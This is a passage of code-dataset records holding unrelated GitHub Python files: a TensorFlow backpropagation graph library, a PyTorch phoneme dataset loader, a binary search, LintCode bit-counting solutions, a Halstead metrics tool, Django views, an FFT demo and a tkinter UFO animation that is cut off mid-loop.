if self._cap is None:\n self.setup_device()\n\n for i in range(pre_fetch):\n result, _ = self._cap.read()\n assert result\n result, frame = self._cap.read()\n assert result\n return frame\n except:\n self._cap = None\n if i == device_retries - 1:\n raise\n","repo_name":"hamedty/pm","sub_path":"server/camera/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74047727783","text":"#--Ayan Chakrabarti \nimport numpy as np\nimport tensorflow as tf\nimport blpa.quant as q\n\nfrom tensorflow.python.ops.gen_nn_ops import max_pool_grad\n\nDT=tf.float32\nBNEPS=1e-3\n\n################################################################################################## \n\nclass NLDef:\n def __init__(self,bn,relu,res_in,res_out,avpool,maxpool=False):\n self.bn = bn # If BN (bool)\n self.relu = relu # ReLU (bool)\n self.res_in = res_in # add prev res connection (bool)\n self.res_out = res_out # Send out res connection: None, 1 (Before bn+relu), 2 (after bn+relu)\n\n self.avpool = avpool # Average pool input (bool)\n self.maxpool = maxpool # Average pool input (bool)\n \n################################################################################################## \n\n# Weight+BN layer \nclass Layer:\n def __init__(self,prev,kSz,outCh,stride,pad,nldef):\n inSz = prev.oSz\n self.prev = prev\n self.inSz = inSz\n self.ksz = kSz\n self.outCh = outCh\n self.stride = stride\n self.pad = pad\n self.nldef = nldef\n self.back = True\n\n self.inCh = inSz[-1]\n if self.nldef.avpool:\n self.oSz = [inSz[0],1,1,outCh]\n assert self.ksz == 1\n assert nldef.relu == True\n else:\n if self.nldef.maxpool:\n ht = inSz[2]//2\n wd = inSz[1]//2\n else:\n ht = inSz[2]\n wd = inSz[1]\n \n if self.pad == 'SAME':\n wd = wd//stride\n ht = ht//stride\n else:\n wd = (wd-self.ksz+1)//stride\n ht = (ht-self.ksz+1)//stride\n self.oSz = [inSz[0],wd,ht,outCh]\n \n def makeOps(self,graph):\n scratch, scratch2, rsz = graph.scratch, graph.scratch2, graph.rsz\n\n ##############################################################################\n ########################## Build forward ops\n ##############################################################################\n fsave = []\n out = self.prev.ftop\n\n ######### Handle res_in\n if self.nldef.res_in:\n assert self.prev.back\n rtop = tf.reshape(scratch2[:np.prod(rsz)],rsz)\n rchange = self.inSz == rsz\n if rchange:\n out = out + rtop\n else:\n rstride = rsz[1] // self.inSz[1]\n reskern = tf.ones([rstride,rstride,rsz[-1],1],dtype=DT)/np.float32(rstride**2)\n respad = (self.inCh-rsz[-1])//2\n rt = rtop\n if rstride > 1:\n rt = tf.nn.depthwise_conv2d(rt,reskern,[1,rstride,rstride,1],'VALID')\n if respad > 0:\n rt = tf.pad(rt,[[0,0],[0,0],[0,0],[respad,respad]])\n out = out + rt\n out0 = out\n\n ### BN\n if self.nldef.bn:\n assert self.prev.back\n mu,vr = tf.nn.moments(out,[0,1,2])\n bnfac = tf.sqrt(vr + BNEPS)\n out = (out - mu) / bnfac\n self.bnfac = tf.Variable(tf.zeros_like(bnfac))\n fsave += [tf.assign(self.bnfac,bnfac).op]\n\n scale = tf.Variable(tf.ones([self.inCh],dtype=DT))\n sgrad = tf.Variable(tf.zeros([self.inCh],dtype=DT))\n graph.weights.append(scale)\n graph.grads.append(sgrad)\n cscale = tf.maximum(1e-8,scale)\n out = out*cscale\n\n ### Bias\n if self.prev.back:\n bias = tf.Variable(tf.zeros([self.inCh],dtype=DT))\n bgrad = tf.Variable(tf.zeros([self.inCh],dtype=DT))\n graph.weights.append(bias)\n graph.grads.append(bgrad)\n out = out + bias\n \n ### Save + Handle ReLUs\n self.btop = None\n\n # If has max-pool\n if self.nldef.maxpool:\n assert self.nldef.res_out != 1\n var = tf.Variable(tf.zeros(out.get_shape(),dtype=DT))\n fsave += [tf.assign(var,out).op]\n self.btop0 = (var-bias)/cscale\n self.btop1 = self.btop0\n\n self.Rm = tf.cast(var > 0,dtype=DT)\n btop = tf.nn.relu(var)\n self.premp = btop\n self.btop = tf.nn.max_pool(btop,[1,3,3,1],[1,2,2,1],'SAME')\n\n out = tf.nn.relu(out)\n out = tf.nn.max_pool(out,[1,3,3,1],[1,2,2,1],'SAME')\n \n # Last layer\n elif self == graph.layers[-1]:\n fsave += [tf.assign(scratch2[:np.prod(self.inSz)],tf.reshape(out,[-1])).op]\n var = tf.reshape(scratch2[:np.prod(self.inSz)],out.get_shape())\n \n # Quantization\n elif self.nldef.bn and (graph.qtype == 4 or graph.qtype == 8):\n assert self.nldef.relu \n\n sOp, outs, self.Rm = q.quant(graph.qtype,out/cscale,bias/cscale)\n fsave += sOp\n self.btop0 = outs-bias/cscale\n self.btop1 = self.btop0\n self.btop = tf.nn.relu(outs*cscale)\n out = tf.nn.relu(out)\n\n \n # No Quantization\n else:\n var = tf.Variable(tf.zeros(out.get_shape(),dtype=DT))\n fsave += [tf.assign(var,out).op]\n \n\n if self.btop is None:\n if self.nldef.bn:\n self.btop0 = (var-bias)/cscale\n self.btop1 = self.btop0\n \n if self.nldef.relu:\n self.btop = tf.nn.relu(var)\n self.Rm = tf.cast(var > 0,dtype=DT)\n out = tf.nn.relu(out)\n else:\n self.btop = var\n \n \n ######### Handle res_out\n if self.nldef.res_out is not None:\n graph.rsz = out.get_shape().as_list()\n sidx = np.prod(graph.rsz)\n if self.nldef.res_out == 1:\n fsave += [tf.assign(scratch2[:sidx],tf.reshape(out0,[-1])).op]\n else:\n fsave += [tf.assign(scratch2[:sidx],tf.reshape(out,[-1])).op]\n\n\n ########### Do the actual convolution\n kshp = [self.ksz,self.ksz,self.inCh,self.outCh]\n if self == graph.layers[-1]:\n sq = np.sqrt(1.0 / np.float32(self.ksz*self.ksz*self.inCh))\n else:\n sq = np.sqrt(2.0 / np.float32(self.ksz*self.ksz*self.inCh))\n \n kernel = tf.random_normal(kshp,stddev=sq,dtype=DT)\n kernel = tf.Variable(kernel)\n kgrad = tf.Variable(tf.zeros(kshp,dtype=DT))\n graph.weights.append(kernel)\n graph.grads.append(kgrad)\n\n if self.nldef.avpool == True:\n out = tf.reduce_mean(out,[1,2],True)\n out = tf.nn.conv2d(out,kernel,[1,self.stride,self.stride,1],self.pad)\n\n\n ########### Store output in scratch\n fsave += [tf.assign(scratch[:np.prod(self.oSz)],tf.reshape(out,[-1])).op]\n self.fOp = tf.group(*fsave)\n self.ftop = tf.reshape(scratch[:np.prod(self.oSz)],self.oSz)\n\n\n ##############################################################################\n ########################## Build Backward ops\n ##############################################################################\n ingrad = self.ftop # Same shape loading from scratch\n bsave = []\n \n inp = self.btop\n if self.nldef.avpool:\n inp = tf.reduce_mean(inp,[1,2],True)\n \n kg = tf.nn.conv2d_backprop_filter(inp,kshp,ingrad,[1,self.stride,self.stride,1],self.pad)\n kg += graph.WD*kernel\n bsave += [tf.assign(kgrad,kg).op]\n\n if not self.prev.back:\n self.bOp = tf.group(*bsave)\n return\n \n if self.nldef.avpool:\n ingrad = tf.nn.conv2d_backprop_input([self.inSz[0],1,1,self.inSz[3]],kernel,ingrad,\n [1,1,1,1],'VALID') / np.float32(self.inSz[1]*self.inSz[2])\n elif self.nldef.maxpool:\n ingrad = tf.nn.conv2d_backprop_input([self.inSz[0],self.inSz[1]//2,self.inSz[2]//2,self.inSz[3]],\n kernel,ingrad,[1,self.stride,self.stride,1],self.pad)\n else:\n ingrad = tf.nn.conv2d_backprop_input(self.inSz,kernel,ingrad,\n [1,self.stride,self.stride,1],self.pad)\n if self.nldef.res_out == 2:\n gshp = ingrad.get_shape().as_list()\n ingrad += tf.reshape(graph.scratch2[:np.prod(gshp)],gshp)\n\n if self.nldef.maxpool:\n ingrad = max_pool_grad(self.premp,self.btop,ingrad,[1,3,3,1],[1,2,2,1],'SAME')\n \n if self.nldef.relu:\n ingrad *= self.Rm\n bsave += [tf.assign(bgrad, tf.reduce_sum(ingrad,[0,1,2])).op]\n if self.nldef.bn:\n bsave += [tf.assign(sgrad, tf.reduce_sum(ingrad*self.btop0,[0,1,2])).op]\n ingrad = ingrad * cscale\n ingrad = ingrad - tf.reduce_mean(ingrad,[0,1,2])\n ingrad -= self.btop0 * tf.reduce_mean(ingrad*self.btop1,[0,1,2])\n ingrad /= self.bnfac\n if self.nldef.res_out == 1:\n ingrad += tf.reshape(graph.scratch2[:np.prod(self.inSz)],self.inSz)\n\n bsave += [tf.assign(graph.scratch[:np.prod(self.inSz)],tf.reshape(ingrad,[-1])).op]\n \n if self.nldef.res_in:\n if rchange:\n bsave += [tf.assign(graph.scratch2[:np.prod(self.inSz)],tf.reshape(ingrad,[-1])).op]\n else:\n if respad > 0:\n ingrad = ingrad[:,:,:,respad:-respad]\n if rstride > 1:\n ingrad = tf.nn.depthwise_conv2d_native_backprop_input(rsz,reskern,ingrad,[1,rstride,rstride,1],'VALID')\n bsave += [tf.assign(graph.scratch2[:np.prod(rsz)],tf.reshape(ingrad,[-1])).op]\n \n self.bOp = tf.group(*bsave)\n\n\n# Loss layer \nclass LogLoss:\n def __init__(self):\n pass\n\n def makeOps(self,graph,prev):\n xsz = prev.oSz\n self.ph = tf.placeholder(dtype=tf.int32,shape=[xsz[0],xsz[1],xsz[2],1])\n\n pred = prev.ftop\n bias = tf.Variable(tf.zeros([prev.oSz[-1]],dtype=DT))\n bgrad = tf.Variable(tf.zeros([prev.oSz[-1]],dtype=DT))\n graph.weights.append(bias)\n graph.grads.append(bgrad)\n pred = pred + bias\n\n self.pred = pred\n smx = pred - tf.reduce_logsumexp(pred,3,True)\n amx = tf.cast(tf.expand_dims(tf.argmax(pred,3),3),tf.int32)\n ph2 = tf.cast(tf.equal(tf.cast(tf.reshape(tf.range(xsz[3]),[xsz[3]]),tf.int32),self.ph),DT)\n \n self.acc = tf.reduce_mean(tf.cast(tf.equal(amx,self.ph),DT))\n self.loss = -tf.reduce_mean(ph2*smx)*np.float32(xsz[3])\n\n ingrad = (tf.exp(smx)-ph2)/np.float32(xsz[0])\n gOp = [tf.assign(bgrad, tf.reduce_sum(ingrad,[0,1,2])).op]\n gOp += [tf.assign(graph.scratch[:np.prod(xsz)],tf.reshape(ingrad,[-1])).op]\n self.gOp = tf.group(*gOp)\n\n def get_pred(self,sess):\n out = sess.run(self.pred)\n return out\n\n def get_loss_ops(self):\n return self.acc,self.loss,self.gOp\n\n def get_loss_fd(self,labels):\n return {self.ph: labels}\n\n def get_loss(self,labels,sess):\n out = sess.run([self.acc,self.loss,self.gOp],feed_dict={self.ph: labels})\n return out[0], out[1]\n \n\n################################################################################################## \n \n\n# Graph class: currently only suppors feed-forward chains\nclass Graph:\n # Call with size of input\n def __init__(self,dlayer,llayer):\n self.dL = dlayer\n self.lL = llayer\n \n self.prev = dlayer\n \n self.layers = []\n self.weights = []\n self.grads = []\n\n\n # Add a conv layer\n def add(self, *args):\n l = Layer(self.prev, *args)\n self.layers.append(l)\n self.prev = l\n \n # Call this when done adding layers\n def close(self,qtype=0,WD=1e-4,multi=False,multigpu=False):\n if multi == 1:\n multi = False\n self.multi = multi\n \n # Compute max output size\n msz = np.prod(self.dL.oSz)\n msz2 = 0\n for l in self.layers:\n lsz = np.prod(l.oSz)\n if lsz > msz:\n msz = lsz\n if l.nldef.res_out is not None:\n lsz = np.prod(l.inSz)\n if l.nldef.maxpool:\n lsz = lsz//4\n if lsz > msz2:\n msz2 = lsz\n \n\n # Create scratch spaces\n self.scratch = tf.Variable(tf.zeros(shape=msz,dtype=DT))\n self.scratch2 = tf.Variable(tf.zeros(shape=msz2,dtype=DT))\n self.rsz = 0\n\n # Now create ops for layers\n self.WD=WD\n self.qtype=qtype\n for i in range(len(self.layers)):\n self.layers[i].makeOps(self)\n\n # Set up loss layer\n self.lL.makeOps(self,self.layers[-1])\n\n # Set up optimizer\n if self.multi:\n fac = 1.0/np.float32(self.multi)\n self.agrads = [tf.Variable(tf.zeros(self.grads[i].get_shape())) for i in range(len(self.grads))]\n self.aginit = tf.group(*[ag.initializer for ag in self.agrads])\n self.aupd = tf.group(*[tf.assign_add(self.agrads[i],self.grads[i]).op for i in range(len(self.grads))])\n gvpairs = [(fac*self.agrads[i],self.weights[i]) for i in range(len(self.weights))]\n else:\n gvpairs = [(tf.identity(self.grads[i]),self.weights[i]) for i in range(len(self.weights))]\n\n if not multigpu:\n self.lr = tf.placeholder(DT)\n self.opt = tf.train.MomentumOptimizer(self.lr,0.9)\n self.upd = self.opt.apply_gradients(gvpairs)\n\n # Create session\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n sess = tf.Session(config=config)\n try:\n sess.run(tf.global_variables_initializer())\n except:\n sess.run(tf.initialize_all_variables())\n self.sess = sess\n\n \n # Forward pass: returns accuracy and loss on batch\n def forward(self,x,y,_x=None,_y=None):\n fd = self.dL.fd(x)\n \n self.sess.run(self.layers[0].fOp,feed_dict=fd)\n for k in range(1,len(self.layers)):\n self.sess.run(self.layers[k].fOp)\n\n if y is None:\n return self.lL.get_pred(self.sess)\n acc,loss = self.lL.get_loss(y,self.sess)\n return acc, loss\n\n # Backward pass: computes gradient and does update\n def backward(self,lr):\n for k in range(len(self.layers)-1,0,-1):\n self.sess.run(self.layers[k].bOp)\n if lr is not None: \n self.sess.run(self.upd, feed_dict={self.lr: lr})\n\n def binit(self):\n if self.multi:\n self.sess.run(self.aginit)\n\n def hback(self):\n if not self.multi:\n return\n for k in range(len(self.layers)-1,0,-1):\n self.sess.run(self.layers[k].bOp)\n self.sess.run(self.aupd)\n\n def cback(self,lr):\n if self.multi:\n self.sess.run(self.upd, feed_dict={self.lr: lr})\n else:\n self.backward(lr)\n\n def save(self,saveloc,niter):\n wts = {}\n for k in range(len(self.weights)):\n wts['%d'%k] = self.weights[k].eval(self.sess)\n wts['niter'] = niter\n np.savez(saveloc,**wts)\n\n def load(self,saveloc):\n wts = np.load(saveloc)\n for k in range(len(self.weights)):\n self.weights[k].load(wts['%d'%k],self.sess)\n return wts['niter']\n\n################################################################################################## \n\n# Data layers\nclass SimpleData:\n def __init__(self,xsz):\n self.back = False\n self.ftop = tf.placeholder(shape=xsz,dtype=DT)\n self.oSz = xsz\n \n def fd(self,batch):\n return {self.ftop: batch}\n\n \n","repo_name":"ayanc/blpa","sub_path":"blpa/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":16031,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"36"} +{"seq_id":"34426053376","text":"import torch, os\r\nfrom torch.utils.data import Dataset, DataLoader\r\nimport numpy as np\r\nfrom tqdm import tqdm\r\n\r\ndef metrix_move(metrix:torch.Tensor, step:int, dir:str=\"down\") -> torch.Tensor:\r\n \"\"\"\r\n function: 二维metrix向上或向下移动step个单位,上方或下方空出来的地方用第一行或最后一行重复填充\r\n ------------------------------------------------------------------\r\n @param metrix: 需要移动的二维Tensor矩阵\r\n @param step: 移动的单位\r\n @param dir: 移动方向,\"up\" or \"down\"\r\n @return: 返回移动后的矩阵\r\n \"\"\"\r\n\r\n assert (dir == \"down\" or dir == \"up\")\r\n step = int(step)\r\n\r\n if dir == \"down\":\r\n left = metrix[0].repeat(step, 1)\r\n right = metrix[:-step]\r\n elif dir == \"up\":\r\n left = metrix[step:]\r\n right = metrix[-1].repeat(step, 1)\r\n \r\n return torch.cat((left, right), dim=0)\r\n\r\ndef frame_connect(metrix:torch.Tensor, connect_num:int) -> torch.Tensor:\r\n \"\"\"\r\n funciton: 将二维metrix每一行前后接续(connect_num/2)个frame(帧), metrix的每一行都是一帧, 前后共接续(connect_num-1)个帧,合并后每一行有connect_num个帧\r\n ------------------------------------------------------------------\r\n @param metrix: tensor类型,需要接续的二维矩阵\r\n @param connect_num: 接续后的frame长度\r\n @return: 返回接续后的二维矩阵\r\n \"\"\"\r\n\r\n # 接续思路:\r\n # 整个矩阵重复connect_num次,中间矩阵右侧依次上升一行,最后一行重复,左侧依次下降一行,第一行重复\r\n # 然后把对应行进行连接组合成一个新的二维矩阵\r\n connect_num = int(connect_num)\r\n assert (connect_num % 2 == 1 and connect_num > 0)\r\n if connect_num < 2:\r\n return metrix\r\n frame_num, feature_dim = metrix.size(0), metrix.size(1)\r\n metrix = metrix.repeat(1, connect_num).view(frame_num, connect_num, feature_dim).permute(1, 0, 2) # metrix升维并重复connect_num次\r\n mid = int(connect_num / 2) # 确定中心矩阵下标\r\n # 中心矩阵左右矩阵分别上下移动\r\n for i in range(1, mid+1):\r\n metrix[mid + i] = metrix_move(metrix[mid + i], i, \"up\")\r\n metrix[mid - i] = metrix_move(metrix[mid - i], i, \"down\")\r\n # 重连并降维\r\n metrix = metrix.permute(1, 0, 2).view(frame_num, feature_dim * connect_num)\r\n return metrix\r\n\r\n# 构建数据集\r\nclass libriDataset(Dataset):\r\n def __init__(self, root_path, mode:str=\"train\", frame_num:int=1, classify_num = 41) -> None:\r\n \"\"\"\r\n function: 初始化时进行数据预处���\r\n ------------------------------------------------------------------\r\n @param root_path: 数据包根目录\r\n @param mode: \"train\" or \"valid\",选择加载的数据为训练集或测试集\r\n @param frame_num: 连接后的frame个数,为奇数且大于0\r\n @param classify_num: 分类类别数量\r\n \"\"\"\r\n super().__init__()\r\n assert (mode == \"train\" or mode ==\"valid\")\r\n assert (frame_num > 0 and frame_num % 2 == 1)\r\n frame_num = int(frame_num)\r\n\r\n train_label_path = os.path.join(root_path, \"train_labels.txt\")\r\n\r\n # 获取训练文件名列表与targets字典\r\n train_filename_list = []\r\n train_targets_dict = {}\r\n with open(train_label_path, 'r') as f:\r\n all_data = f.readlines()\r\n for i in range(len(all_data)):\r\n all_data[i] = all_data[i].strip('\\n').split(' ')\r\n train_filename_list.append(all_data[i][0])\r\n train_targets_dict[train_filename_list[i]] = np.array(all_data[i][1:]).astype(float)\r\n\r\n # 加载所有训练文件\r\n self.features = []\r\n self.targets = []\r\n for filename in train_filename_list:\r\n train_filepath = os.path.join(root_path, \"feat\", \"train\", f\"{filename}.pt\")\r\n data = torch.load(train_filepath)\r\n data = frame_connect(data, frame_num)\r\n for i in range(data.size(0)):\r\n if(mode == \"train\"):\r\n if(i % 100 != 0):\r\n self.features.append(data[i])\r\n self.targets.append(torch.tensor(train_targets_dict[filename][i], dtype=torch.long))\r\n elif(mode == \"valid\"):\r\n if(i % 100 == 0):\r\n self.features.append(data[i])\r\n self.targets.append(torch.tensor(train_targets_dict[filename][i], dtype=torch.long))\r\n print(f\"Finish loading the {mode} set of data, {len(self.features)} samples are founded, each sample's dimension is {self.features[0].size(0)}\")\r\n \r\n def __getitem__(self, index):\r\n return self.features[index], self.targets[index]\r\n \r\n def __len__(self):\r\n return len(self.features)\r\n\r\ndef main():\r\n # train_set = libriDataset(\"hw2_classification/libriphone\", mode=\"train\", frame_num=3)\r\n valid_set = libriDataset(\"hw2_classification/libriphone\", mode=\"valid\", frame_num=5, classify_num=41)\r\n # print(len(valid_set))\r\n valid_loader = DataLoader(valid_set, batch_size=16, shuffle=False, drop_last=False)\r\n\r\n pbar = tqdm(valid_loader)\r\n\r\n for _, data in enumerate(pbar):\r\n features, targets = data\r\n print(features.shape)\r\n print(targets.shape)\r\n\r\n # 获取训练文件名列表与targets字典\r\n \"\"\" train_filename_list = []\r\n train_targets_dict = {}\r\n with open(\"hw2_classification/libriphone/train_labels.txt\", 'r') as f:\r\n all_data = f.readlines()\r\n for i in range(len(all_data)):\r\n all_data[i] = all_data[i].strip('\\n').split(' ')\r\n train_filename_list.append(all_data[i][0])\r\n train_targets_dict[train_filename_list[i]] = np.array(all_data[i][1:]).astype(float)\r\n\r\n print(torch.tensor(train_targets_dict[train_filename_list[0]][0])) \"\"\"\r\n return\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"WeiKajihara/Deep_learning_note","sub_path":"HW2_Classification/libriDataset.py","file_name":"libriDataset.py","file_ext":"py","file_size_in_byte":5943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"16215180931","text":"\"\"\"Binary search is a searching algorithm which is used to search\nan element from a sorted array. It cannot be used to search from\nan unsorted array. Binary search is an efficient algorithm and is\nbetter than linear search in terms of time complexity.\nThe time complexity of linear search is O(n) \"\"\"\n\npos = -1\n\ndef search(list, n):\n\n l = 0\n u = len(list)-1\n\n while l <= u:\n mid = (l+u) // 2\n\n if list[mid] == n:\n globals()['pos'] = mid\n return True\n else:\n if list[mid] < n:\n l = mid+1;\n else:\n u = mid-1;\n\n return False\n\n\nlist = [4,7,8,12,45,99,102,702,10987,56666]\nn = 12\n\nif search(list, n):\n print(\"Found at \",pos+1)\nelse:\n print(\"Not Found\")","repo_name":"Rajeev1117/Python","sub_path":"algorithms/BinarySearch.py","file_name":"BinarySearch.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"21366904841","text":"'''\nLink: https://www.lintcode.com/problem/counting-bits/description\n'''\n\n# Uses Dynamic Programming. The relationship is hard to notice at first, but easy to take advantage of.\nclass Solution:\n \"\"\"\n @param num: a non negative integer number\n @return: an array represent the number of 1's in their binary\n \"\"\"\n def countBits(self, num):\n # write your code here\n answer = [0]\n for i in range(1, num + 1):\n if i % 2 == 0:\n number = answer[i//2]\n else:\n number = answer[i - 1] + 1\n answer.append(number)\n return answer\n \n \n# Let dp[i] denote the number of ones in i's binary representation. We have dp[i] = dp[i >> 1] + i % 2,\n# which is actually identical to the previous solution.\n# 本参考程序来自九章算法,由 @九章算法助教团队 提供。版权所有,转发请注明出处。\n# - 九章算法致力于帮助更多中国人找到好的工作,教师团队均来自硅谷和国内的一线大公司在职工程师。\n# - 现有的面试培训课程包括:九章算法班,系统设计班,算法强化班,Java入门与基础算法班,Android 项目实战班,\n# - Big Data 项目实战班,算法面试高频题班, 动态规划专题班\n# - 更多详情请见官方网站:http://www.jiuzhang.com/?source=code\n\n\nclass Solution:\n \"\"\"\n @param num: a non negative integer number\n @return: an array represent the number of 1's in their binary\n \"\"\"\n def countBits(self, num):\n # write your code here\n f = [0] * (num + 1)\n for i in range(1, num+1):\n f[i] = f[i & i-1] + 1\n return f\n","repo_name":"simonfqy/SimonfqyGitHub","sub_path":"lintcode/medium/664_counting_bits.py","file_name":"664_counting_bits.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"13355191763","text":"import sys\nimport math\nfrom cofig import get_python_operators, get_python_operands\n\n\t\t\nclass HalsteadMetric:\n \"\"\" Compute various HalsteadMetric metrics. \"\"\"\n\n def __init__( self, file_name):\n \"\"\" Initialization for the HalsteadMetric metrics.\"\"\"\n self.file = file_name\n self.unique_operators = get_python_operators()\n self.unique_operands = get_python_operands()\n self.singleline_comment_operator = \"#\"\n self.multiline_comment_start_operator = \"'''\"\n self.multiline_comment_end_operator = \"'''\"\n self.n1 = {}\n self.n2 = {}\n\n\n def filter_token(self, token):\n tok = token\n while tok:\n # print(tok)\n tok = self.break_token(tok) \n\n\n def break_token(self, token):\n op_pos = len(token)\n for op in self.unique_operators:\n if token.startswith(op):\n self.n1[op] = self.n1.get(op, 0) + 1\n return token[len(op):]\n if op in token:\n op_pos = min(op_pos, token.find(op))\n\n remaining_token = token[:op_pos]\n for keyword in self.unique_operands:\n if remaining_token == keyword:\n self.n2[op] = self.n2.get(op, 0) + 1\n\n self.n2[remaining_token] = self.n2.get(op, 0) + 1\n return token[op_pos:]\n\n def __LOGb( self, x, b ): \n \"\"\" convert to LOGb(x) from natural logs.\"\"\"\n try:\n result = math.log( x ) / math.log ( b )\n except OverflowError:\n result = 1.0\n return result\n\n def measure_halstead(self, N1, N2, n1, n2):\n Vocabulary = n1 + n2\n Volume = (N1 + N2) * self.__LOGb(Vocabulary, 2)\n Difficulty = ((n1 / 2) * (N2 / n2))\n Effort = Difficulty * Volume\n\n print(\"Vocabulary: \", Vocabulary)\n print(\"Volume: \", Volume)\n print(\"Difficulty: \", Difficulty)\n print(\"Effort: \", Effort)\n\n \n def filter_comments(self):\n singleline_comment_operator_pos = -1\n multiline_comment_start_operator_pos = -1\n multiline_comment_end_operator_pos = -1\n filtered_lines = []\n inside_comment = False\n with open(self.file, 'r') as file:\n for line in file:\n if not line.strip():\n continue\n if self.singleline_comment_operator in line:\n singleline_comment_operator_pos = line.find(self.singleline_comment_operator)\n if self.multiline_comment_start_operator in line:\n multiline_comment_start_operator_pos = line.find(self.multiline_comment_start_operator)\n if self.multiline_comment_end_operator in line:\n multiline_comment_end_operator_pos = line.find(self.multiline_comment_end_operator)\n\n if not inside_comment and singleline_comment_operator_pos != -1:\n line = line[:singleline_comment_operator_pos].strip()\n if line:\n filtered_lines.append(line)\n elif inside_comment and multiline_comment_end_operator_pos != -1:\n inside_comment = False\n elif multiline_comment_start_operator_pos != -1:\n inside_comment = True\n elif inside_comment:\n inside_comment = True\n else:\n line = line.strip()\n if line:\n filtered_lines.append(line)\n\n singleline_comment_operator_pos = -1\n multiline_comment_start_operator_pos = -1\n multiline_comment_end_operator_pos = -1\n\n return filtered_lines\n\n\n def display_matrix(self):\n src_code = self.filter_comments()\n for line in src_code:\n tokens = line.split()\n for token in tokens:\n self.filter_token(token)\n print('\\t\\t------n1(Operators)-----\\t\\t\\n')\n for key, value in self.n1.items():\n print(key + \" = \" + str(value))\n print('\\t\\t------n2(Operands)------\\t\\t\\n')\n for key, value in self.n2.items():\n print(key + \" = \" + str(value))\n\n self.measure_halstead(sum(self.n1.values()),\n sum(self.n2.values()), \n len(self.n1), len(self.n2))\n\n\n\nif __name__ == \"__main__\":\n file = sys.argv[-1]\n halstead_mat = HalsteadMetric(file)\n halstead_mat.display_matrix()","repo_name":"m-ibrahim-khalil/Software_Maintainance_Metrics_Calculator","sub_path":"halsted.py","file_name":"halsted.py","file_ext":"py","file_size_in_byte":4467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"17474372683","text":"import random\nfrom django.shortcuts import render\nfrom users.models import User\nfrom books.models import Book\nfrom categories.models import Category\n\n\ndef menu(request):\n popularAuthor = User.getAuthors(User).order_by('-reviewsCount', '-rating')[:12]\n books = Book.getBooks(Book)\n\n newBooks = books.order_by('-publication_date')[:12]\n popularBooks = books.order_by('-reviewsCount')[:12]\n\n categoriesTorandomise = []\n categories = Category.objects.all()\n\n for category in categories:\n if category.book_set.count() > 0:\n categoriesTorandomise.append(category)\n\n return render(request, 'menu.html',\n {'popularAuthor': popularAuthor, 'newBooks': newBooks, 'popularBooks': popularBooks,\n 'category': random.choice(categoriesTorandomise) if categoriesTorandomise else []})\n\n\ndef search(request):\n searchText = request.GET.get('search')\n books = Book.getBooks(Book, name__icontains=searchText)\n authors = User.getAuthors(User, full_name__icontains=searchText)\n return render(request, 'search.html', {'books': books, 'authors': authors, 'searchText': searchText})\n","repo_name":"olegmishutin/New-authors","sub_path":"server/New_authors/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"11242651435","text":"import matplotlib.pyplot as plt\nplt.rcParams['font.size']=6\nimport pandas as pd\nimport numpy as np\nfrom scipy.fftpack import fft\n\nFs=1000 #sampling frequency\nT=1/Fs #sampling period(interval)\nL=1500 #length of signal\nt=np.arange(start=0,stop=L,step=1)*T\nprint(t)\ns = [0.7*np.sin(2*np.pi*50*ts) for ts in t] # amplitude=0.7, frequency=50Hz\n# freqs = t-0.5-1/T \n# print(freqs)\nprint(s)\nplt.figure()\nplt.subplot(2,1,1)\nplt.plot(s)\nplt.axhline(y=0)\nplt.subplot(2,1,2)\nplt.plot(abs(fft(s)))\nplt.show()","repo_name":"UnIcOrn7618/MonthlyRunoffForecastByAutoReg","sub_path":"results_analysis/FFT_demo.py","file_name":"FFT_demo.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"36"} +{"seq_id":"70846817063","text":"from tkinter import *\nimport time\n\nWIDTH = 1000\nHEIGHT = 500\nxVelocity1 = 1\nyVelocity1 = 1\nxVelocity2 = 1\nyVelocity2 = 1\nxVelocity3 = 1\nyVelocity3 = 1\nwindow = Tk()\n\ncanvas = Canvas(window, width=WIDTH, height=HEIGHT)\ncanvas.pack()\n\nbackground_photo = PhotoImage(file='earth.png')\nbackground = canvas.create_image(0, 0, image=background_photo, anchor=NW)\n\nufo_image_1 = PhotoImage(file='ufo.png')\nmy_image_1 = canvas.create_image(0, 0, image=ufo_image_1, anchor=NW)\n\nufo_image_2 = PhotoImage(file='ufo.png')\nmy_image_2 = canvas.create_image(300, 200, image=ufo_image_2, anchor=NW)\n\nufo_image_3 = PhotoImage(file='ufo.png')\nmy_image_3 = canvas.create_image(800, 100, image=ufo_image_3, anchor=NW)\n\nimage_width_1 = ufo_image_1.width()\nimage_height_1 = ufo_image_1.height()\n\nimage_width_2 = ufo_image_2.width()\nimage_height_2 = ufo_image_2.height()\n\nimage_width_3 = ufo_image_3.width()\nimage_height_3 = ufo_image_3.height()\n\nwhile True:\n coordinates1 = canvas.coords(my_image_1)\n coordinates2 = canvas.coords(my_image_2)\n coordinates3 = canvas.coords(my_image_3)\n print(coordinates1, coordinates2, coordinates3)\n if coordinates1[0] >= (WIDTH - image_width_1) or coordinates1[0] < 0:\n xVelocity1 = -xVelocity1\n if coordinates1[1] >= (HEIGHT - image_height_1) or coordinates1[1] < 0:\n yVelocity1 = -yVelocity1\n if coordinates2[0] >= (WIDTH - image_width_2) or coordinates2[0] < 0:\n xVelocity2 = -xVelocity2\n if coordinates2[1] >= (HEIGHT - image_height_2) or coordinates2[1] < 0:\n yVelocity2 = -yVelocity2\n if coordinates3[0] >= (WIDTH - image_width_3) or coordinates3[0] < 0:\n xVelocity3 = -xVelocity3\n 